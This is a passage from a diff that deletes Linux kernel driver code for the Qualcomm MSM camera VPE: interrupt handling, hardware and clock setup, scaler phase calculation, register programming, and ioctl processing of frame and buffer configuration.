*ref) -{ - struct vpe_device *vpe_dev = container_of(ref, - struct vpe_device, refcount); - ion_client_destroy(vpe_dev->client); -} - -static int vpe_init_mem(struct vpe_device *vpe_dev) -{ - kref_init(&vpe_dev->refcount); - kref_get(&vpe_dev->refcount); - vpe_dev->client = msm_ion_client_create("vpe"); - - if (!vpe_dev->client) { - pr_err("couldn't create ion client\n"); - return -ENODEV; - } - - return 0; -} - -static void vpe_deinit_mem(struct vpe_device *vpe_dev) -{ - kref_put(&vpe_dev->refcount, vpe_release_ion_client); -} - -static irqreturn_t msm_vpe_irq(int irq_num, void *data) -{ - unsigned long flags; - uint32_t irq_status; - struct msm_vpe_tasklet_queue_cmd *queue_cmd; - struct vpe_device *vpe_dev = (struct vpe_device *) data; - - irq_status = msm_camera_io_r_mb(vpe_dev->base + - VPE_INTR_STATUS_OFFSET); - - spin_lock_irqsave(&vpe_dev->tasklet_lock, flags); - queue_cmd = &vpe_dev->tasklet_queue_cmd[vpe_dev->taskletq_idx]; - if (queue_cmd->cmd_used) { - VPE_DBG("%s: vpe tasklet queue overflow\n", __func__); - list_del(&queue_cmd->list); - } else { - atomic_add(1, &vpe_dev->irq_cnt); - } - queue_cmd->irq_status = irq_status; - - queue_cmd->cmd_used = 1; - vpe_dev->taskletq_idx = - (vpe_dev->taskletq_idx + 1) % MSM_VPE_TASKLETQ_SIZE; - list_add_tail(&queue_cmd->list, &vpe_dev->tasklet_q); - spin_unlock_irqrestore(&vpe_dev->tasklet_lock, flags); - - tasklet_schedule(&vpe_dev->vpe_tasklet); - - msm_camera_io_w_mb(irq_status, vpe_dev->base + VPE_INTR_CLEAR_OFFSET); - msm_camera_io_w(0, vpe_dev->base + VPE_INTR_ENABLE_OFFSET); - VPE_DBG("%s: irq_status=0x%x.\n", __func__, irq_status); - - return IRQ_HANDLED; -} - -static void msm_vpe_do_tasklet(unsigned long data) -{ - unsigned long flags; - struct vpe_device *vpe_dev = (struct vpe_device *)data; - struct msm_vpe_tasklet_queue_cmd *queue_cmd; - - while (atomic_read(&vpe_dev->irq_cnt)) { - spin_lock_irqsave(&vpe_dev->tasklet_lock, flags); - queue_cmd = list_first_entry(&vpe_dev->tasklet_q, - struct msm_vpe_tasklet_queue_cmd, list); - if (!queue_cmd) { - atomic_set(&vpe_dev->irq_cnt, 0); - spin_unlock_irqrestore(&vpe_dev->tasklet_lock, flags); - return; - } - atomic_sub(1, &vpe_dev->irq_cnt); - list_del(&queue_cmd->list); - queue_cmd->cmd_used = 0; - - spin_unlock_irqrestore(&vpe_dev->tasklet_lock, flags); - - VPE_DBG("Frame done!!\n"); - msm_vpe_notify_frame_done(vpe_dev); - } -} - -static int vpe_init_hardware(struct vpe_device *vpe_dev) -{ - int rc = 0; - - if (vpe_dev->fs_vpe == NULL) { - vpe_dev->fs_vpe = - regulator_get(&vpe_dev->pdev->dev, "vdd"); - if (IS_ERR(vpe_dev->fs_vpe)) { - pr_err("Regulator vpe vdd get failed %ld\n", - PTR_ERR(vpe_dev->fs_vpe)); - vpe_dev->fs_vpe = NULL; - rc = -ENODEV; - goto fail; - } else if (regulator_enable(vpe_dev->fs_vpe)) { - pr_err("Regulator vpe vdd enable failed\n"); - regulator_put(vpe_dev->fs_vpe); - vpe_dev->fs_vpe = NULL; - rc = -ENODEV; - goto fail; - } - } - - rc = msm_cam_clk_enable(&vpe_dev->pdev->dev, vpe_clk_info, - vpe_dev->vpe_clk, ARRAY_SIZE(vpe_clk_info), 1); - if (rc < 0) { - pr_err("clk enable failed\n"); - goto disable_and_put_regulator; - } - - vpe_dev->base = ioremap(vpe_dev->mem->start, - resource_size(vpe_dev->mem)); - if (!vpe_dev->base) { - rc = -ENOMEM; - pr_err("ioremap failed\n"); - goto disable_and_put_regulator; - } - - if (vpe_dev->state != VPE_STATE_BOOT) { - rc = request_irq(vpe_dev->irq->start, msm_vpe_irq, - IRQF_TRIGGER_RISING, - "vpe", vpe_dev); - if (rc < 0) { - pr_err("irq request fail! start=%u\n", - (uint32_t) vpe_dev->irq->start); - rc = -EBUSY; - goto unmap_base; - } else { - VPE_DBG("Got irq! %d\n", (int)vpe_dev->irq->start); - } - } else { - VPE_DBG("Skip requesting the irq since device is booting\n"); - } - vpe_dev->buf_mgr_subdev = msm_buf_mngr_get_subdev(); - - msm_vpe_create_buff_queue(vpe_dev, MSM_VPE_MAX_BUFF_QUEUE); - return rc; - -unmap_base: - iounmap(vpe_dev->base); -disable_and_put_regulator: - regulator_disable(vpe_dev->fs_vpe); - regulator_put(vpe_dev->fs_vpe); -fail: - return rc; -} - -static int vpe_release_hardware(struct vpe_device *vpe_dev) -{ - if (vpe_dev->state != VPE_STATE_BOOT) { - free_irq(vpe_dev->irq->start, vpe_dev); - tasklet_kill(&vpe_dev->vpe_tasklet); - atomic_set(&vpe_dev->irq_cnt, 0); - } - - msm_vpe_delete_buff_queue(vpe_dev); - iounmap(vpe_dev->base); - msm_cam_clk_enable(&vpe_dev->pdev->dev, vpe_clk_info, - vpe_dev->vpe_clk, ARRAY_SIZE(vpe_clk_info), 0); - return 0; -} - -static int vpe_open_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) -{ - int rc = 0; - uint32_t i; - struct vpe_device *vpe_dev = v4l2_get_subdevdata(sd); - - mutex_lock(&vpe_dev->mutex); - if (vpe_dev->vpe_open_cnt == MAX_ACTIVE_VPE_INSTANCE) { - pr_err("No free VPE instance\n"); - rc = -ENODEV; - goto err_mutex_unlock; - } - - for (i = 0; i < MAX_ACTIVE_VPE_INSTANCE; i++) { - if (vpe_dev->vpe_subscribe_list[i].active == 0) { - vpe_dev->vpe_subscribe_list[i].active = 1; - vpe_dev->vpe_subscribe_list[i].vfh = &fh->vfh; - break; - } - } - if (i == MAX_ACTIVE_VPE_INSTANCE) { - pr_err("No free instance\n"); - rc = -ENODEV; - goto err_mutex_unlock; - } - - VPE_DBG("open %d %p\n", i, &fh->vfh); - vpe_dev->vpe_open_cnt++; - if (vpe_dev->vpe_open_cnt == 1) { - rc = vpe_init_hardware(vpe_dev); - if (rc < 0) { - pr_err("%s: Couldn't init vpe hardware\n", __func__); - vpe_dev->vpe_open_cnt--; - goto err_fixup_sub_list; - } - rc = vpe_init_mem(vpe_dev); - if (rc < 0) { - pr_err("%s: Couldn't init mem\n", __func__); - vpe_dev->vpe_open_cnt--; - rc = -ENODEV; - goto err_release_hardware; - } - vpe_dev->state = VPE_STATE_IDLE; - } - mutex_unlock(&vpe_dev->mutex); - - return rc; - -err_release_hardware: - vpe_release_hardware(vpe_dev); -err_fixup_sub_list: - for (i = 0; i < MAX_ACTIVE_VPE_INSTANCE; i++) { - if (vpe_dev->vpe_subscribe_list[i].vfh == &fh->vfh) { - vpe_dev->vpe_subscribe_list[i].active = 0; - vpe_dev->vpe_subscribe_list[i].vfh = NULL; - break; - } - } -err_mutex_unlock: - mutex_unlock(&vpe_dev->mutex); - return rc; -} - -static int vpe_close_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) -{ - uint32_t i; - struct vpe_device *vpe_dev = v4l2_get_subdevdata(sd); - mutex_lock(&vpe_dev->mutex); - for (i = 0; i < MAX_ACTIVE_VPE_INSTANCE; i++) { - if (vpe_dev->vpe_subscribe_list[i].vfh == &fh->vfh) { - vpe_dev->vpe_subscribe_list[i].active = 0; - vpe_dev->vpe_subscribe_list[i].vfh = NULL; - break; - } - } - if (i == MAX_ACTIVE_VPE_INSTANCE) { - pr_err("Invalid close\n"); - mutex_unlock(&vpe_dev->mutex); - return -ENODEV; - } - - VPE_DBG("close %d %p\n", i, &fh->vfh); - vpe_dev->vpe_open_cnt--; - if (vpe_dev->vpe_open_cnt == 0) { - vpe_deinit_mem(vpe_dev); - vpe_release_hardware(vpe_dev); - vpe_dev->state = VPE_STATE_OFF; - } - mutex_unlock(&vpe_dev->mutex); - return 0; -} - -static const struct v4l2_subdev_internal_ops msm_vpe_internal_ops = { - .open = vpe_open_node, - .close = vpe_close_node, -}; - -static int msm_vpe_buffer_ops(struct vpe_device *vpe_dev, - uint32_t buff_mgr_ops, struct msm_buf_mngr_info *buff_mgr_info) -{ - int rc = -EINVAL; - - rc = v4l2_subdev_call(vpe_dev->buf_mgr_subdev, core, ioctl, - buff_mgr_ops, buff_mgr_info); - if (rc < 0) - pr_err("%s: line %d rc = %d\n", __func__, __LINE__, rc); - return rc; -} - -static int msm_vpe_notify_frame_done(struct vpe_device *vpe_dev) -{ - struct v4l2_event v4l2_evt; - struct msm_queue_cmd *frame_qcmd; - struct msm_queue_cmd *event_qcmd; - struct msm_vpe_frame_info_t *processed_frame; - struct msm_device_queue *queue = &vpe_dev->processing_q; - struct msm_buf_mngr_info buff_mgr_info; - int rc = 0; - - if (queue->len > 0) { - frame_qcmd = msm_dequeue(queue, list_frame); - processed_frame = frame_qcmd->command; - do_gettimeofday(&(processed_frame->out_time)); - kfree(frame_qcmd); - event_qcmd = kzalloc(sizeof(struct msm_queue_cmd), GFP_ATOMIC); - if (!event_qcmd) { - pr_err("%s: Insufficient memory\n", __func__); - return -ENOMEM; - } - atomic_set(&event_qcmd->on_heap, 1); - event_qcmd->command = processed_frame; - VPE_DBG("fid %d\n", processed_frame->frame_id); - msm_enqueue(&vpe_dev->eventData_q, &event_qcmd->list_eventdata); - - if (!processed_frame->output_buffer_info.processed_divert) { - memset(&buff_mgr_info, 0 , - sizeof(buff_mgr_info)); - buff_mgr_info.session_id = - ((processed_frame->identity >> 16) & 0xFFFF); - buff_mgr_info.stream_id = - (processed_frame->identity & 0xFFFF); - buff_mgr_info.frame_id = processed_frame->frame_id; - buff_mgr_info.timestamp = processed_frame->timestamp; - buff_mgr_info.index = - processed_frame->output_buffer_info.index; - rc = msm_vpe_buffer_ops(vpe_dev, - VIDIOC_MSM_BUF_MNGR_BUF_DONE, - &buff_mgr_info); - if (rc < 0) { - pr_err("%s: error doing VIDIOC_MSM_BUF_MNGR_BUF_DONE\n", - __func__); - rc = -EINVAL; - } - } - - v4l2_evt.id = processed_frame->inst_id; - v4l2_evt.type = V4L2_EVENT_VPE_FRAME_DONE; - v4l2_event_queue(vpe_dev->msm_sd.sd.devnode, &v4l2_evt); - } - return rc; -} - -static void vpe_update_scaler_params(struct vpe_device *vpe_dev, - struct msm_vpe_frame_strip_info strip_info) -{ - uint32_t out_ROI_width, out_ROI_height; - uint32_t src_ROI_width, src_ROI_height; - - /* - * phase_step_x, phase_step_y, phase_init_x and phase_init_y - * are represented in fixed-point, unsigned 3.29 format - */ - uint32_t phase_step_x = 0; - uint32_t phase_step_y = 0; - uint32_t phase_init_x = 0; - uint32_t phase_init_y = 0; - - uint32_t src_roi, src_x, src_y, src_xy, temp; - uint32_t yscale_filter_sel, xscale_filter_sel; - uint32_t scale_unit_sel_x, scale_unit_sel_y; - uint64_t numerator, denominator; - - /* - * assumption is both direction need zoom. this can be - * improved. - */ - temp = msm_camera_io_r(vpe_dev->base + VPE_OP_MODE_OFFSET) | 0x3; - msm_camera_io_w(temp, vpe_dev->base + VPE_OP_MODE_OFFSET); - - src_ROI_width = strip_info.src_w; - src_ROI_height = strip_info.src_h; - out_ROI_width = strip_info.dst_w; - out_ROI_height = strip_info.dst_h; - - VPE_DBG("src w = %u, h=%u, dst w = %u, h =%u.\n", - src_ROI_width, src_ROI_height, out_ROI_width, - out_ROI_height); - src_roi = (src_ROI_height << 16) + src_ROI_width; - - msm_camera_io_w(src_roi, vpe_dev->base + VPE_SRC_SIZE_OFFSET); - - src_x = strip_info.src_x; - src_y = strip_info.src_y; - - VPE_DBG("src_x = %d, src_y=%d.\n", src_x, src_y); - - src_xy = src_y*(1<<16) + src_x; - msm_camera_io_w(src_xy, vpe_dev->base + - VPE_SRC_XY_OFFSET); - VPE_DBG("src_xy = 0x%x, src_roi=0x%x.\n", src_xy, src_roi); - - /* decide whether to use FIR or M/N for scaling */ - if ((out_ROI_width == 1 && src_ROI_width < 4) || - (src_ROI_width < 4 * out_ROI_width - 3)) - scale_unit_sel_x = 0;/* use FIR scalar */ - else - scale_unit_sel_x = 1;/* use M/N scalar */ - - if ((out_ROI_height == 1 && src_ROI_height < 4) || - (src_ROI_height < 4 * out_ROI_height - 3)) - scale_unit_sel_y = 0;/* use FIR scalar */ - else - scale_unit_sel_y = 1;/* use M/N scalar */ - - /* calculate phase step for the x direction */ - - /* - * if destination is only 1 pixel wide, the value of - * phase_step_x is unimportant. Assigning phase_step_x to src - * ROI width as an arbitrary value. - */ - if (out_ROI_width == 1) - phase_step_x = (uint32_t) ((src_ROI_width) << - SCALER_PHASE_BITS); - - /* if using FIR scalar */ - else if (scale_unit_sel_x == 0) { - - /* - * Calculate the quotient ( src_ROI_width - 1 ) ( - * out_ROI_width - 1) with u3.29 precision. Quotient - * is rounded up to the larger 29th decimal point - */ - numerator = (uint64_t)(src_ROI_width - 1) << - SCALER_PHASE_BITS; - /* - * never equals to 0 because of the "(out_ROI_width == - * 1 )" - */ - denominator = (uint64_t)(out_ROI_width - 1); - /* - * divide and round up to the larger 29th decimal - * point. - */ - phase_step_x = (uint32_t) vpe_do_div((numerator + - denominator - 1), denominator); - } else if (scale_unit_sel_x == 1) { /* if M/N scalar */ - /* - * Calculate the quotient ( src_ROI_width ) / ( - * out_ROI_width) with u3.29 precision. Quotient is - * rounded down to the smaller 29th decimal point. - */ - numerator = (uint64_t)(src_ROI_width) << - SCALER_PHASE_BITS; - denominator = (uint64_t)(out_ROI_width); - phase_step_x = - (uint32_t) vpe_do_div(numerator, denominator); - } - /* calculate phase step for the y direction */ - - /* - * if destination is only 1 pixel wide, the value of - * phase_step_x is unimportant. Assigning phase_step_x to src - * ROI width as an arbitrary value. - */ - if (out_ROI_height == 1) - phase_step_y = - (uint32_t) ((src_ROI_height) << SCALER_PHASE_BITS); - - /* if FIR scalar */ - else if (scale_unit_sel_y == 0) { - /* - * Calculate the quotient ( src_ROI_height - 1 ) / ( - * out_ROI_height - 1) with u3.29 precision. Quotient - * is rounded up to the larger 29th decimal point. - */ - numerator = (uint64_t)(src_ROI_height - 1) << - SCALER_PHASE_BITS; - /* - * never equals to 0 because of the " ( out_ROI_height - * == 1 )" case - */ - denominator = (uint64_t)(out_ROI_height - 1); - /* - * Quotient is rounded up to the larger 29th decimal - * point. - */ - phase_step_y = - (uint32_t) vpe_do_div( - (numerator + denominator - 1), denominator); - } else if (scale_unit_sel_y == 1) { /* if M/N scalar */ - /* - * Calculate the quotient ( src_ROI_height ) ( - * out_ROI_height) with u3.29 precision. Quotient is - * rounded down to the smaller 29th decimal point. - */ - numerator = (uint64_t)(src_ROI_height) << - SCALER_PHASE_BITS; - denominator = (uint64_t)(out_ROI_height); - phase_step_y = (uint32_t) vpe_do_div( - numerator, denominator); - } - - /* decide which set of FIR coefficients to use */ - if (phase_step_x > HAL_MDP_PHASE_STEP_2P50) - xscale_filter_sel = 0; - else if (phase_step_x > HAL_MDP_PHASE_STEP_1P66) - xscale_filter_sel = 1; - else if (phase_step_x > HAL_MDP_PHASE_STEP_1P25) - xscale_filter_sel = 2; - else - xscale_filter_sel = 3; - - if (phase_step_y > HAL_MDP_PHASE_STEP_2P50) - yscale_filter_sel = 0; - else if (phase_step_y > HAL_MDP_PHASE_STEP_1P66) - yscale_filter_sel = 1; - else if (phase_step_y > HAL_MDP_PHASE_STEP_1P25) - yscale_filter_sel = 2; - else - yscale_filter_sel = 3; - - /* calculate phase init for the x direction */ - - /* if using FIR scalar */ - if (scale_unit_sel_x == 0) { - if (out_ROI_width == 1) - phase_init_x = - (uint32_t) ((src_ROI_width - 1) << - SCALER_PHASE_BITS); - else - phase_init_x = 0; - } else if (scale_unit_sel_x == 1) /* M over N scalar */ - phase_init_x = 0; - - /* - * calculate phase init for the y direction if using FIR - * scalar - */ - if (scale_unit_sel_y == 0) { - if (out_ROI_height == 1) - phase_init_y = - (uint32_t) ((src_ROI_height - - 1) << SCALER_PHASE_BITS); - else - phase_init_y = 0; - } else if (scale_unit_sel_y == 1) /* M over N scalar */ - phase_init_y = 0; - - strip_info.phase_step_x = phase_step_x; - strip_info.phase_step_y = phase_step_y; - strip_info.phase_init_x = phase_init_x; - strip_info.phase_init_y = phase_init_y; - VPE_DBG("phase step x = %d, step y = %d.\n", - strip_info.phase_step_x, strip_info.phase_step_y); - VPE_DBG("phase init x = %d, init y = %d.\n", - strip_info.phase_init_x, strip_info.phase_init_y); - - msm_camera_io_w(strip_info.phase_step_x, vpe_dev->base + - VPE_SCALE_PHASEX_STEP_OFFSET); - msm_camera_io_w(strip_info.phase_step_y, vpe_dev->base + - VPE_SCALE_PHASEY_STEP_OFFSET); - - msm_camera_io_w(strip_info.phase_init_x, vpe_dev->base + - VPE_SCALE_PHASEX_INIT_OFFSET); - msm_camera_io_w(strip_info.phase_init_y, vpe_dev->base + - VPE_SCALE_PHASEY_INIT_OFFSET); -} - -static void vpe_program_buffer_addresses( - struct vpe_device *vpe_dev, - unsigned long srcP0, - unsigned long srcP1, - unsigned long outP0, - unsigned long outP1) -{ - VPE_DBG("%s VPE Configured with:\n" - "Src %x, %x Dest %x, %x", - __func__, (uint32_t)srcP0, (uint32_t)srcP1, - (uint32_t)outP0, (uint32_t)outP1); - - msm_camera_io_w(srcP0, vpe_dev->base + VPE_SRCP0_ADDR_OFFSET); - msm_camera_io_w(srcP1, vpe_dev->base + VPE_SRCP1_ADDR_OFFSET); - msm_camera_io_w(outP0, vpe_dev->base + VPE_OUTP0_ADDR_OFFSET); - msm_camera_io_w(outP1, vpe_dev->base + VPE_OUTP1_ADDR_OFFSET); -} - -static int vpe_start(struct vpe_device *vpe_dev) -{ - /* enable the frame irq, bit 0 = Display list 0 ROI done */ - msm_camera_io_w_mb(1, vpe_dev->base + VPE_INTR_ENABLE_OFFSET); - msm_camera_io_dump(vpe_dev->base, 0x120); - msm_camera_io_dump(vpe_dev->base + 0x00400, 0x18); - msm_camera_io_dump(vpe_dev->base + 0x10000, 0x250); - msm_camera_io_dump(vpe_dev->base + 0x30000, 0x20); - msm_camera_io_dump(vpe_dev->base + 0x50000, 0x30); - msm_camera_io_dump(vpe_dev->base + 0x50400, 0x10); - - /* - * This triggers the operation. When the VPE is done, - * msm_vpe_irq will fire. - */ - msm_camera_io_w_mb(1, vpe_dev->base + VPE_DL0_START_OFFSET); - return 0; -} - -static void vpe_config_axi_default(struct vpe_device *vpe_dev) -{ - msm_camera_io_w(0x25, vpe_dev->base + VPE_AXI_ARB_2_OFFSET); -} - -static int vpe_reset(struct vpe_device *vpe_dev) -{ - uint32_t vpe_version; - uint32_t rc = 0; - - vpe_version = msm_camera_io_r( - vpe_dev->base + VPE_HW_VERSION_OFFSET); - VPE_DBG("vpe_version = 0x%x\n", vpe_version); - /* disable all interrupts.*/ - msm_camera_io_w(0, vpe_dev->base + VPE_INTR_ENABLE_OFFSET); - /* clear all pending interrupts*/ - msm_camera_io_w(0x1fffff, vpe_dev->base + VPE_INTR_CLEAR_OFFSET); - /* write sw_reset to reset the core. */ - msm_camera_io_w(0x10, vpe_dev->base + VPE_SW_RESET_OFFSET); - /* then poll the reset bit, it should be self-cleared. */ - while (1) { - rc = msm_camera_io_r(vpe_dev->base + VPE_SW_RESET_OFFSET) \ - & 0x10; - if (rc == 0) - break; - cpu_relax(); - } - /* - * at this point, hardware is reset. Then pogram to default - * values. - */ - msm_camera_io_w(VPE_AXI_RD_ARB_CONFIG_VALUE, - vpe_dev->base + VPE_AXI_RD_ARB_CONFIG_OFFSET); - - msm_camera_io_w(VPE_CGC_ENABLE_VALUE, - vpe_dev->base + VPE_CGC_EN_OFFSET); - msm_camera_io_w(1, vpe_dev->base + VPE_CMD_MODE_OFFSET); - msm_camera_io_w(VPE_DEFAULT_OP_MODE_VALUE, - vpe_dev->base + VPE_OP_MODE_OFFSET); - msm_camera_io_w(VPE_DEFAULT_SCALE_CONFIG, - vpe_dev->base + VPE_SCALE_CONFIG_OFFSET); - vpe_config_axi_default(vpe_dev); - return rc; -} - -static void vpe_update_scale_coef(struct vpe_device *vpe_dev, uint32_t *p) -{ - uint32_t i, offset; - offset = *p; - for (i = offset; i < (VPE_SCALE_COEFF_NUM + offset); i++) { - VPE_DBG("Setting scale table %d\n", i); - msm_camera_io_w(*(++p), - vpe_dev->base + VPE_SCALE_COEFF_LSBn(i)); - msm_camera_io_w(*(++p), - vpe_dev->base + VPE_SCALE_COEFF_MSBn(i)); - } -} - -static void vpe_input_plane_config(struct vpe_device *vpe_dev, uint32_t *p) -{ - msm_camera_io_w(*p, vpe_dev->base + VPE_SRC_FORMAT_OFFSET); - msm_camera_io_w(*(++p), - vpe_dev->base + VPE_SRC_UNPACK_PATTERN1_OFFSET); - msm_camera_io_w(*(++p), vpe_dev->base + VPE_SRC_IMAGE_SIZE_OFFSET); - msm_camera_io_w(*(++p), vpe_dev->base + VPE_SRC_YSTRIDE1_OFFSET); - msm_camera_io_w(*(++p), vpe_dev->base + VPE_SRC_SIZE_OFFSET); - msm_camera_io_w(*(++p), vpe_dev->base + VPE_SRC_XY_OFFSET); -} - -static void vpe_output_plane_config(struct vpe_device *vpe_dev, uint32_t *p) -{ - msm_camera_io_w(*p, vpe_dev->base + VPE_OUT_FORMAT_OFFSET); - msm_camera_io_w(*(++p), - vpe_dev->base + VPE_OUT_PACK_PATTERN1_OFFSET); - msm_camera_io_w(*(++p), vpe_dev->base + VPE_OUT_YSTRIDE1_OFFSET); - msm_camera_io_w(*(++p), vpe_dev->base + VPE_OUT_SIZE_OFFSET); - msm_camera_io_w(*(++p), vpe_dev->base + VPE_OUT_XY_OFFSET); -} - -static void vpe_operation_config(struct vpe_device *vpe_dev, uint32_t *p) -{ - msm_camera_io_w(*p, vpe_dev->base + VPE_OP_MODE_OFFSET); -} - -/** - * msm_vpe_transaction_setup() - send setup for one frame to VPE - * @vpe_dev: vpe device - * @data: packed setup commands - * - * See msm_vpe.h for the expected format of `data' - */ -static void msm_vpe_transaction_setup(struct vpe_device *vpe_dev, void *data) -{ - int i; - void *iter = data; - - vpe_mem_dump("vpe_transaction", data, VPE_TRANSACTION_SETUP_CONFIG_LEN); - - for (i = 0; i < VPE_NUM_SCALER_TABLES; ++i) { - vpe_update_scale_coef(vpe_dev, (uint32_t *)iter); - iter += VPE_SCALER_CONFIG_LEN; - } - vpe_input_plane_config(vpe_dev, (uint32_t *)iter); - iter += VPE_INPUT_PLANE_CFG_LEN; - vpe_output_plane_config(vpe_dev, (uint32_t *)iter); - iter += VPE_OUTPUT_PLANE_CFG_LEN; - vpe_operation_config(vpe_dev, (uint32_t *)iter); -} - -static int msm_vpe_send_frame_to_hardware(struct vpe_device *vpe_dev, - struct msm_queue_cmd *frame_qcmd) -{ - struct msm_vpe_frame_info_t *process_frame; - - if (vpe_dev->processing_q.len < MAX_VPE_PROCESSING_FRAME) { - process_frame = frame_qcmd->command; - msm_enqueue(&vpe_dev->processing_q, - &frame_qcmd->list_frame); - - vpe_update_scaler_params(vpe_dev, process_frame->strip_info); - vpe_program_buffer_addresses( - vpe_dev, - process_frame->src_phyaddr, - process_frame->src_phyaddr - + process_frame->src_chroma_plane_offset, - process_frame->dest_phyaddr, - process_frame->dest_phyaddr - + process_frame->dest_chroma_plane_offset); - vpe_start(vpe_dev); - do_gettimeofday(&(process_frame->in_time)); - } - return 0; -} - -static int msm_vpe_cfg(struct vpe_device *vpe_dev, - struct msm_camera_v4l2_ioctl_t *ioctl_ptr) -{ - int rc = 0; - struct msm_queue_cmd *frame_qcmd = NULL; - struct msm_vpe_frame_info_t *new_frame = - kzalloc(sizeof(struct msm_vpe_frame_info_t), GFP_KERNEL); - unsigned long in_phyaddr, out_phyaddr; - struct msm_buf_mngr_info buff_mgr_info; - - if (!new_frame) { - pr_err("Insufficient memory. return\n"); - return -ENOMEM; - } - - rc = copy_from_user(new_frame, (void __user *)ioctl_ptr->ioctl_ptr, - sizeof(struct msm_vpe_frame_info_t)); - if (rc) { - pr_err("%s:%d copy from user\n", __func__, __LINE__); - rc = -EINVAL; - goto err_free_new_frame; - } - - in_phyaddr = msm_vpe_fetch_buffer_info(vpe_dev, - &new_frame->input_buffer_info, - ((new_frame->identity >> 16) & 0xFFFF), - (new_frame->identity & 0xFFFF)); - if (!in_phyaddr) { - pr_err("error gettting input physical address\n"); - rc = -EINVAL; - goto err_free_new_frame; - } - - memset(&new_frame->output_buffer_info, 0, - sizeof(struct msm_vpe_buffer_info_t)); - memset(&buff_mgr_info, 0, sizeof(struct msm_buf_mngr_info)); - buff_mgr_info.session_id = ((new_frame->identity >> 16) & 0xFFFF); - buff_mgr_info.stream_id = (new_frame->identity & 0xFFFF); - rc = msm_vpe_buffer_ops(vpe_dev, VIDIOC_MSM_BUF_MNGR_GET_BUF, - &buff_mgr_info); - if (rc < 0) { - pr_err("error getting buffer\n"); - rc = -EINVAL; - goto err_free_new_frame; - } - - new_frame->output_buffer_info.index = buff_mgr_info.index; - out_phyaddr = msm_vpe_fetch_buffer_info(vpe_dev, - &new_frame->output_buffer_info, - ((new_frame->identity >> 16) & 0xFFFF), - (new_frame->identity & 0xFFFF)); - if (!out_phyaddr) { - pr_err("error gettting output physical address\n"); - rc = -EINVAL; - goto err_put_buf; - } - - new_frame->src_phyaddr = in_phyaddr; - new_frame->dest_phyaddr = out_phyaddr; - - frame_qcmd = kzalloc(sizeof(struct msm_queue_cmd), GFP_KERNEL); - if (!frame_qcmd) { - pr_err("Insufficient memory. return\n"); - rc = -ENOMEM; - goto err_put_buf; - } - - atomic_set(&frame_qcmd->on_heap, 1); - frame_qcmd->command = new_frame; - rc = msm_vpe_send_frame_to_hardware(vpe_dev, frame_qcmd); - if (rc < 0) { - pr_err("error cannot send frame to hardware\n"); - rc = -EINVAL; - goto err_free_frame_qcmd; - } - - return rc; - -err_free_frame_qcmd: - kfree(frame_qcmd); -err_put_buf: - msm_vpe_buffer_ops(vpe_dev, VIDIOC_MSM_BUF_MNGR_PUT_BUF, - &buff_mgr_info); -err_free_new_frame: - kfree(new_frame); - return rc; -} - -static long msm_vpe_subdev_ioctl(struct v4l2_subdev *sd, - unsigned int cmd, void *arg) -{ - struct vpe_device *vpe_dev = v4l2_get_subdevdata(sd); - struct msm_camera_v4l2_ioctl_t *ioctl_ptr = arg; - int rc = 0; - - mutex_lock(&vpe_dev->mutex); - switch (cmd) { - case VIDIOC_MSM_VPE_TRANSACTION_SETUP: { - struct msm_vpe_transaction_setup_cfg *cfg; - VPE_DBG("VIDIOC_MSM_VPE_TRANSACTION_SETUP\n"); - if (sizeof(*cfg) != ioctl_ptr->len) { - pr_err("%s: size mismatch cmd=%d, len=%d, expected=%d", - __func__, cmd, ioctl_ptr->len, - sizeof(*cfg)); - rc = -EINVAL; - break; - } - - cfg = kzalloc(ioctl_ptr->len, GFP_KERNEL); - if (!cfg) { - pr_err("%s:%d: malloc error\n", __func__, __LINE__); - mutex_unlock(&vpe_dev->mutex); - return -EINVAL; - } - - rc = copy_from_user(cfg, (void __user *)ioctl_ptr->ioctl_ptr, - ioctl_ptr->len); - if (rc) { - pr_err("%s:%d copy from user\n", __func__, __LINE__); - kfree(cfg); - break; - } - - msm_vpe_transaction_setup(vpe_dev, (void *)cfg); - kfree(cfg); - break; - } - case VIDIOC_MSM_VPE_CFG: { - VPE_DBG("VIDIOC_MSM_VPE_CFG\n"); - rc = msm_vpe_cfg(vpe_dev, ioctl_ptr); - break; - } - case VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO: { - struct msm_vpe_stream_buff_info_t *u_stream_buff_info; - struct msm_vpe_stream_buff_info_t k_stream_buff_info; - - VPE_DBG("VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO\n"); - - if (sizeof(struct msm_vpe_stream_buff_info_t) != - ioctl_ptr->len) { - pr_err("%s:%d: invalid length\n", __func__, __LINE__); - mutex_unlock(&vpe_dev->mutex); - return -EINVAL; - } - - u_stream_buff_info = kzalloc(ioctl_ptr->len, GFP_KERNEL); - if (!u_stream_buff_info) { - pr_err("%s:%d: malloc error\n", __func__, __LINE__); - mutex_unlock(&vpe_dev->mutex); - return -EINVAL; - } - - rc = (copy_from_user(u_stream_buff_info, - (void __user *)ioctl_ptr->ioctl_ptr, - ioctl_ptr->len) ? -EFAULT : 0); - if (rc) { - pr_err("%s:%d copy from user\n", __func__, __LINE__); - kfree(u_stream_buff_info); - mutex_unlock(&vpe_dev->mutex); - return -EINVAL; - } - - if ((u_stream_buff_info->num_buffs == 0) || - (u_stream_buff_info->num_buffs > - MSM_CAMERA_MAX_STREAM_BUF)) { - pr_err("%s:%d: Invalid number of buffers\n", __func__, - __LINE__); - kfree(u_stream_buff_info); - mutex_unlock(&vpe_dev->mutex); - return -EINVAL; - } - k_stream_buff_info.num_buffs = u_stream_buff_info->num_buffs; - k_stream_buff_info.identity = u_stream_buff_info->identity; - k_stream_buff_info.buffer_info = - kzalloc(k_stream_buff_info.num_buffs * - sizeof(struct msm_vpe_buffer_info_t), GFP_KERNEL); - if (!k_stream_buff_info.buffer_info) { - pr_err("%s:%d: malloc error\n", __func__, __LINE__); - kfree(u_stream_buff_info); - mutex_unlock(&vpe_dev->mutex); - return -EINVAL; - } - - rc = (copy_from_user(k_stream_buff_info.buffer_info, - (void __user *)u_stream_buff_info->buffer_info, - k_stream_buff_info.num_buffs * - sizeof(struct msm_vpe_buffer_info_t)) ? - -EFAULT : 0); - if (rc) { - pr_err("%s:%d copy from user\n", __func__, __LINE__); - kfree(k_stream_buff_info.buffer_info); - kfree(u_stream_buff_info); - mutex_unlock(&vpe_dev->mutex); - return -EINVAL; - } - - rc = msm_vpe_add_buff_queue_entry(vpe_dev, - ((k_stream_buff_info.identity >> 16) & 0xFFFF), - (k_stream_buff_info.identity & 